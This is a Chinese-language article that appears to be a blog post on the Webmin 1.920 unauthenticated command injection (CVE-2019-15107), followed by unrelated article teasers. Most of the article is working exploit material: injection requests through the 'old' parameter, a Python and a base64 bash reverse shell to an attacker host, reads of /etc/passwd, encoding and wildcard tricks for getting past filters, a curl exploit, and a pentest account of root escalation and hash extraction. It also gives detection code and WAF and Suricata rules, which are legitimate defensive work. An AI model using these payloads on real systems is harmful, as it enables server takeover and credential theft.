Webmin 1.920 命令注入漏洞深度剖析:从POC构造到3种防御绕过手法

发布时间:2026/7/8 20:49:04

Webmin 1.920 命令注入漏洞深度剖析:从POC构造到3种防御绕过手法
Webmin 1.920命令注入漏洞深度剖析从POC构造到3种防御绕过手法在当今复杂的网络安全环境中系统管理工具的安全性尤为重要。Webmin作为一款广泛使用的基于Web的Unix系统管理工具其1.920版本及之前存在的命令注入漏洞CVE-2019-15107引起了安全研究人员的广泛关注。本文将深入分析该漏洞的底层原理探讨高级利用技巧并分享三种有效的防御绕过手法。1. 漏洞环境与背景分析Webmin是一款功能强大的系统管理工具允许管理员通过Web界面执行各种系统管理任务。该工具默认监听在10000端口广泛应用于各类Unix-like系统中。根据公开数据互联网上约有13万台设备运行着Webmin服务。该漏洞存在于password_change.cgi脚本中当系统启用密码重置功能时攻击者可以利用old参数中的命令注入漏洞执行任意系统命令。值得注意的是该漏洞无需任何身份验证即可利用大大增加了其危害性。影响版本范围Webmin 1.920及以下所有版本漏洞触发条件目标系统运行Webmin 1.920或更早版本密码重置功能处于启用状态攻击者能够访问Webmin的Web接口2. 漏洞原理深度解析2.1 漏洞触发机制漏洞的核心在于password_change.cgi脚本对用户输入的old参数处理不当。当用户提交密码修改请求时脚本会将old参数的值直接拼接到系统命令中执行而没有进行适当的过滤或转义。关键代码逻辑分析# 伪代码展示漏洞逻辑 my $old param(old); my $user param(user); if ($user ne known_user) { # 直接拼接用户输入到系统命令中 system(passwd $user EOF\n$old\n$new1\nEOF); }特别值得注意的是只有当user参数的值不是系统中已知用户时如使用rootxx而非root才会触发漏洞路径。这是因为对于已知用户Webmin会采用不同的密码修改逻辑而不会进入存在漏洞的代码分支。2.2 漏洞利用时序分析攻击者向/password_change.cgi发送POST请求设置user参数为不存在的用户名如rootxx在old参数中注入恶意命令如test|idWebmin将恶意命令拼接到系统命令中执行命令执行结果返回给攻击者典型请求示例POST /password_change.cgi HTTP/1.1 Host: vulnerable-host:10000 Content-Type: application/x-www-form-urlencoded Referer: https://vulnerable-host:10000/session_login.cgi userrootxxpamexpired2oldtest|idnew1test2new2test23. 高级利用技巧与POC构造3.1 基础POC构造最基本的利用方式是在old参数中注入系统命令使用管道符(|)将原始命令与恶意命令连接oldtest|whoami命令执行结果提取技巧输出通常出现在HTML响应的特定位置可以通过搜索The current password is incorrect和 之间的文本来提取命令输出3.2 复杂命令执行由于命令注入环境存在一定限制执行复杂命令需要特殊处理多命令执行oldtest|id;uname -a;echo $PATH命令链使用使用连接命令前一个成功才执行下一个使用||连接命令前一个失败才执行下一个使用;连接命令顺序执行3.3 交互式Shell获取获取交互式Shell是渗透测试中的关键步骤以下是几种有效方法Python反向Shelloldtest|python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((attacker-ip,attacker-port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);Bash反向Shell编码版oldtest|echo YmFzaCAtaSAJiAvZGV2L3RjcC9hdHRhY2tlci1pcC9hdHRhY2tlci1wb3J0IDAJjE | base64 -d | bash4. 三种防御绕过手法在实际渗透测试中目标系统往往部署了各种防御措施。以下是三种有效的绕过手法4.1 编码混淆技术Base64编码绕过oldtest|echo dW5hbWUgLWE | base64 -d | bashHex编码绕过oldtest|echo 6563686f202248656c6c6f2c20576f726c642122 | xxd -r -p | bash4.2 特殊字符利用空格绕过oldtest|cat/etc/passwd通配符使用oldtest|cat /etc/pas???4.3 上下文欺骗技术环境变量注入oldtest|${PATH:0:1}bin${PATH:0:1}cat /etc${PATH:0:1}passwd参数分割技巧oldtest|/usr/bin/perl -e system(id)5. 漏洞检测与防御建议5.1 漏洞检测方法手动检测步骤访问Webmin登录页面通常为https://target:10000使用Burp Suite拦截任意请求修改请求为POST /password_change.cgi构造恶意参数测试命令执行自动化检测脚本import requests def check_vulnerability(target): url fhttps://{target}:10000/password_change.cgi headers { Content-Type: application/x-www-form-urlencoded, Referer: fhttps://{target}:10000/session_login.cgi } data userrootxxpamexpired2oldtest|idnew1test2new2test2 try: response requests.post(url, headersheaders, datadata, verifyFalse, timeout10) if uid in response.text: return True except: pass return False5.2 防御加固措施临时缓解方案禁用/password_change.cgi接口修改Webmin配置文件限制访问IP在Web服务器层面对特殊字符进行过滤长期解决方案升级到Webmin 1.930或更高版本定期检查并应用安全补丁实施最小权限原则限制Webmin服务账户的权限WAF规则建议# ModSecurity规则示例 SecRule REQUEST_URI contains password_change.cgi \ id:10001,\ phase:2,\ block,\ msg:Potential Webmin Command Injection Attempt,\ chain SecRule ARGS:old rx \||\;|\|\|\$\(|\n|\r \ t:none,t:urlDecode,t:lowercase6. 漏洞利用的实战案例在一次内部渗透测试中我们发现目标网络中存在一台运行Webmin 1.920的服务器。通过以下步骤成功获取了系统权限初始发现使用Nmap扫描发现10000端口开放访问确认是Webmin界面漏洞验证curl -k -X POST https://target:10000/password_change.cgi \ -d userrootxxpamexpired2oldtest|idnew1test2new2test2 \ -H Referer: https://target:10000/session_login.cgi权限提升发现系统存在sudo配置问题利用Webmin服务账户执行sudo su获取root权限后渗透行动收集系统信息提取密码哈希检查其他网络可达系统关键教训系统管理工具往往是攻击者重点关注的入口点默认配置和过时软件构成重大安全风险多层防御措施如网络隔离、权限控制能有效限制漏洞影响范围7. 日志分析与取证了解攻击者在利用该漏洞时留下的痕迹对于防御和取证至关重要。关键日志位置/var/webmin/miniserv.log- Webmin主日志文件/var/log/auth.log- 系统认证日志/var/log/syslog- 系统综合日志典型攻击特征大量访问/password_change.cgi的POST请求请求中包含管道符(|)、分号(;)等特殊字符短时间内来自同一IP的多次密码修改尝试检测规则示例Suricataalert http any any - any 10000 (msg:Possible Webmin CVE-2019-15107 Exploit Attempt; \ flow:to_server,established; \ content:POST; http_method; \ content:/password_change.cgi; http_uri; \ content:userrootxx; http_client_body; \ content:|; http_client_body; \ classtype:web-application-attack; \ sid:1000001; rev:1;)在实际项目中我们发现攻击者往往会先进行简单的命令探测如whoami或id确认漏洞存在后再执行更复杂的攻击载荷。通过监控这些初始探测行为可以在攻击早期阶段发现并阻断攻击。

相关新闻

Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造

Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造

2026/7/8 20:49:04

Django 3.2.4 order_by SQL注入漏洞深度剖析:从绕过机制到PoC构造1. 漏洞背景与影响范围2021年7月,Django安全团队发布紧急更新,修复了一个存在于QuerySet.order_by()方法中的SQL注入漏洞(CVE-2021-35042)。该漏洞影响…

如何用真实医患对话数据破解医疗AI的“数据荒“难题?

如何用真实医患对话数据破解医疗AI的“数据荒“难题?

2026/7/8 20:49:04

如何用真实医患对话数据破解医疗AI的"数据荒"难题? 【免费下载链接】Chinese-medical-dialogue-data Chinese medical dialogue data 中文医疗对话数据集 项目地址: https://gitcode.com/gh_mirrors/ch/Chinese-medical-dialogue-data 在医疗人工智…

Webmin 1.920 命令注入漏洞(CVE-2019-15107)深度解析:从后门植入到PoC构造

Webmin 1.920 命令注入漏洞(CVE-2019-15107)深度解析:从后门植入到PoC构造

2026/7/8 20:49:04

Webmin 1.920 命令注入漏洞(CVE-2019-15107)技术分析与防御实践漏洞背景与影响范围Webmin作为一款历史悠久的Unix系统Web管理工具,其1.920及以下版本存在一个关键的安全缺陷。这个漏洞的特殊性在于它并非普通的逻辑缺陷,而是具有后…

Linux 系统监控:top vs htop vs glances 3款工具核心指标对比评测

Linux 系统监控:top vs htop vs glances 3款工具核心指标对比评测

2026/7/8 22:09:07

Linux 系统监控三剑客:top、htop 与 glances 深度横评 在 Linux 系统管理中,实时监控工具如同运维人员的"第二双眼睛"。当服务器负载飙升、应用响应迟缓时,一个得力的监控工具能帮你快速定位问题根源。本文将深入对比三款主流终端监…

终极指南:3步搞定STL转STEP格式转换,免费开源工具stltostp让3D设计更高效

终极指南:3步搞定STL转STEP格式转换,免费开源工具stltostp让3D设计更高效

2026/7/8 22:09:07

终极指南:3步搞定STL转STEP格式转换,免费开源工具stltostp让3D设计更高效 【免费下载链接】stltostp Convert stl files to STEP brep files 项目地址: https://gitcode.com/gh_mirrors/st/stltostp 在3D设计和制造领域,STL格式转换和…

Linux top 命令 3.3.10 实战:5个交互式命令快速定位CPU/内存瓶颈

Linux top 命令 3.3.10 实战:5个交互式命令快速定位CPU/内存瓶颈

2026/7/8 22:09:07

Linux top 命令深度实战:5个交互技巧精准定位性能瓶颈在Linux系统运维中,性能监控是日常工作的核心环节。当服务器响应变慢、服务异常时,如何快速定位CPU或内存瓶颈?传统的基础监控工具往往只能提供泛泛的统计数据,而真…

top 命令输出深度解析:从 10 个关键指标到系统健康度评估

top 命令输出深度解析:从 10 个关键指标到系统健康度评估

2026/7/8 22:09:07

Top 命令输出深度解析:10 个关键指标构建系统健康画像当服务器性能出现异常时,系统管理员往往需要快速定位问题根源。top命令作为 Linux 系统监控的瑞士军刀,其输出信息中隐藏着丰富的系统健康线索。本文将聚焦top命令输出中常被忽视的上部摘…

Chrome 用户数据迁移:3种方案对比(mklink、策略、参数)与C盘空间实测

Chrome 用户数据迁移:3种方案对比(mklink、策略、参数)与C盘空间实测

2026/7/8 22:09:07

Chrome用户数据迁移全方案:从符号链接到企业级策略优化当C盘空间告急时,Chrome浏览器日益膨胀的用户数据(User Data)往往成为首要清理目标。但简单删除只是权宜之计,专业用户需要系统性的迁移方案。本文将深入解析三种…

CentOS 7 升级 GCC 12.2.0 与 Make 4.4:源码编译 3 小时避坑与性能对比

CentOS 7 升级 GCC 12.2.0 与 Make 4.4:源码编译 3 小时避坑与性能对比

2026/7/8 21:59:07

CentOS 7 升级 GCC 12.2.0 与 Make 4.4:源码编译 3 小时避坑与性能对比 1. 为什么需要升级 GCC 和 Make? 在 CentOS 7 的默认软件仓库中,GCC 版本停留在 4.8.5,Make 版本为 3.82。这两个工具作为 Linux 生态中最基础也最重要的开…

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南

2026/7/8 0:44:47

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址: https://gi…

6个月转型AI工程师:实战路径与核心技能

6个月转型AI工程师:实战路径与核心技能

2026/7/8 6:29:42

1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公…

YOLOv5模型剪枝与量化实战:边缘设备部署优化

YOLOv5模型剪枝与量化实战:边缘设备部署优化

2026/7/8 14:04:34

1. 项目背景与核心价值在计算机视觉领域,YOLOv5因其出色的实时检测性能成为工业界宠儿。但当我们尝试将其部署到边缘设备(如树莓派、Jetson Nano或手机终端)时,立刻会遇到两个致命问题:模型体积庞大(原始YO…

Qwen Code+Obsidian构建可执行的AI时代认知操作系统

Qwen Code+Obsidian构建可执行的AI时代认知操作系统

2026/7/8 0:07:15

1. 项目概述:这不是又一个笔记软件教程,而是一套可复用的“认知操作系统”搭建逻辑你有没有试过,在读完Andrej Karpathy那篇著名的《Software 2.0》之后,满脑子都是“神经网络即代码”的震撼,但合上网页,打…

校园服饰细分赛道测算程序,学生平价国风,机能穿搭市场规模预估。

校园服饰细分赛道测算程序,学生平价国风,机能穿搭市场规模预估。

2026/7/8 0:07:15

校园服饰细分赛道测算程序(Python)——学生平价国风 & 机能穿搭市场规模预估(TAM / SAM / SOM)一、实际应用场景描述(真实业务抽象)在《时尚产业与品牌创新》课程中,细分市场切入&#xff0…

Visual C++运行库完整解决方案:告别软件兼容性问题

Visual C++运行库完整解决方案:告别软件兼容性问题

2026/7/8 0:07:15

Visual C运行库完整解决方案:告别软件兼容性问题 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾为打开游戏时弹出的"DLL缺失"错误…